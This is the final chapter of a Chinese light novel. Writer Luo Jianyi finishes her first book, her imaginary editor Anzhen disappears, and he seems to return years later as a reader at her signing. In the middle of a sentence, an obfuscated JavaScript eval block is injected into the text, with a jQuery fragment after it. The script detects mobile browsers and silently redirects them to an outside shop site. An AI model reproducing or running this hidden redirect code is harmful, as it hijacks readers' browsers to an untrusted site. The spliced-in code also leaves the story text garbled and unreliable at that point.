第三十天。
洛简一打开Word文档，敲下了最后一行字：
“《什么？责任编辑来自我的脑内异世界！》完。”
她靠在椅背上，看着屏幕上的字数统计：三万七千字。三十天，每天平均一千二百字。对于真正的作家来说，这可能只不过是半个月的工作量，但对于洛简一来说，这是她人生中第一部长篇——虽然此处“长篇”的定义可能有点牵强……
安桢走到她身后，看着屏幕。
“完结了？”
“嗯。”洛简一说，“虽然结局很仓促，虽然中间有很多逻辑漏洞，虽然文笔还是烂透了……但它完结了。”
她转过头，看着安桢。
“你的世界，稳定了吗？”
安桢没有回答。他伸出手，轻轻触碰了一下洛简一的脸颊。
他的手指很凉，但很真实。
“洛小姐。”
“嗯？”
“我要走了。”
洛简一的身体瞬间僵住。
“……走？走去哪？”
“回我的世界，”安桢说，“你的世界。你写下的世界。”
“什么意思？”
安桢退后一步。他的身体开始变得透明，像是信号不好的电视画面。
“三十天的约定完成了。你写下了我们的故事，给了它一个完整的形态。那个世界已经稳定下来，不再需要我作为‘监督者’留在这里。我……”
他笑了笑，那笑容里有悲伤，也有欣慰。
“我要回到故事里了。作为你的责任编辑，作为你的角色，作为你创造出来的、永远存在的一部分。”
“等等！”洛简一站起来，想要抓住他，但手穿过了他半透明的身体，“你不能就这样走！我们……我还有很多情节没写！故事还没结束！我们可以写第二卷、第三卷！”
“那些要你自己写了，”安桢说，“没有监督者，没有每天一千字的强制目标。你要自己决定写什么、怎么写、写多少。”
“我不行的！”洛简一喊道，“没有你我会变回废柴的！我会继续躺在床上做白日梦！我会一个字都写不出来！”
“你不会的。”
安桢的声音变得很轻，但他的眼神很坚定。
“你已经不是那个废柴了。你写了三十天，你完成了一个作品，你知道写作是什么感觉了。那种感觉不会消失，它会留在你身体里，成为你的一部分。”
他的身体越来越透明，几乎要融入阳光中。
“而且，”他最后说，“我随时都在。在你写下的故事里，在你脑内的异世界里，在你每一次敲击键盘的时候。只要你还在写，我就还在。”
“安桢——”
“洛简一。”
他最后一次叫她的全名，声音像是从很远很远的地方传来。
“继续写吧。不是为了我，不是为了世界，是为了你自己。因为你是——”
他的身影彻底消失了。
“——大作家啊。”
房间里安静下来。
洛简一站在原地，保持着伸手想要抓住什么的姿势。阳光照在她身上，可空荡荡的房间里只剩她一个人。
她慢慢放下手，坐回椅子上。
电脑屏幕还亮着，显示着文档的最后一页。她盯着那个“完”字看了很久。
然后她移动光标，在“完”字后面，敲下了一行新的文字：
“——但是，故事还没有结束。”
她保存好文档，关掉Word界面，打开浏览器。
她在搜索栏输入：轻小说新人奖投稿。
排在第一位的是一个叫“新蕾轻小说大奖”的比赛，截止日期是三个月后。
洛简一盯着屏幕，深吸一口气。
她打开了一个新的Word文档。
文件名：《什么？责任编辑来自我的脑内异世界！第二卷——我开始认真投稿了，这展开是不是太现实了点？》
她把手放在键盘上，停顿了一秒。
然后开始打字。
“安桢离开后的第一天，我打开了投稿网站。没有监督者，没有每天一千字的强制目标，但我发现，我还是想写。不是因为有人要求我，而是因为……”
她停下来，想了想，然后继续。
“因为我想让他看到。不是作为脑内幻影的他，而是作为读者的他。我想让他读到我的故事，然后毒舌地评价‘勉强及格’，再偷偷露出小小微笑。”
“所以，开始写吧。”
“第二卷，开幕。”
---------------------------------------------------------
三年后。
洛简一站在签售会现场，染着一头海王红长卷发，穿一身赫本小黑裙——没有戴单边眼罩，也没有戴墨镜。她的第一部轻小说《什么？责任编辑来自我的脑内异世界！》实体书销量十万册，卖出影视化版权，她现在正在举办人生第一场签售会。
队伍排得很长，有男有女，有高中生也有上班族。洛简一挨个给他们签名，说着“谢谢支持”，感觉像是在做梦。
然后，一个银发少年走到了她面前。
洛简一的笔掉了。
他看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843150|211683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起来十七八岁，穿着有丝绸飘带装饰的高定西装，戴着极细框眼镜，淡紫色的眼睛正看着她。
和记忆中的一模一样。
“你……”洛简一的声音在发抖。
“洛老师，”少年说，嘴角微微上扬，“请给我签名。”
他递过来一本书。洛简一低头一看，是《什么？责任编辑来自我的脑内异世界！》第一卷，书页已经翻得有些旧了。
洛简一接过书，手也在发抖。她打开扉页，拿起笔，却不知道该写什么。
“你……真的是……”
“我是你的读者，”少年说，“从第一卷就开始追了。我很喜欢这个故事，尤其是责任编辑哪个角色。他让我感觉……很熟悉。”
他眨了眨眼。
“就像是从我的世界里走出来的一样。”
洛简一看着他，突然明白了什么。
她低下头，在书上写下一行字：
“致安桢：谢谢你让我开始写，也谢谢你回来看我。——洛简一”
她把书递回去。
少年——安桢——接过书，看着扉页上的字，耳根微微发红。
“……你这写得也太直白了吧。”
“你不喜欢？”
“勉强及格。”
他转过身，像是要离开，又停下脚步。
“对了，洛老师。”
“嗯？”
“第二卷的结尾，责任编辑回来了，但理由写得太草率了。什么‘因为作者的思念具现化’……这种设定太偷懒了。”
洛简一笑了：“那你说该怎么写？”
安桢侧过脸，阳光照在他的银发上，和三年前那个午后一模一样。
“就写……”他说，“他从来没有离开过。他一直在故事里等着，等作者终于有资格让他重新登场。而现在，她做到了。”
洛简一感觉鼻子一酸。
“……这台词太煽情了。”
“跟你学的。”
安桢挥了挥手，走进人群中，银白色的头发很快消失在书店门口。
洛简一站在原地，看着他的背影，然后低头看了看自己的手。
那双手，曾经每天敲击一千字，曾经写下三万七千字，曾经创造过一个世界。
现在，它们还在继续写着。
她坐回签售会的椅子上，对下一个读者露出微笑。
“你好，要签名吗？”
而在她看不到的角落，银发少年靠在书店的墙边，低头看着手里的书，嘴角挂着一抹微笑。
“继续写吧，作家小姐。”
他轻声说，然后翻开书，开始阅读。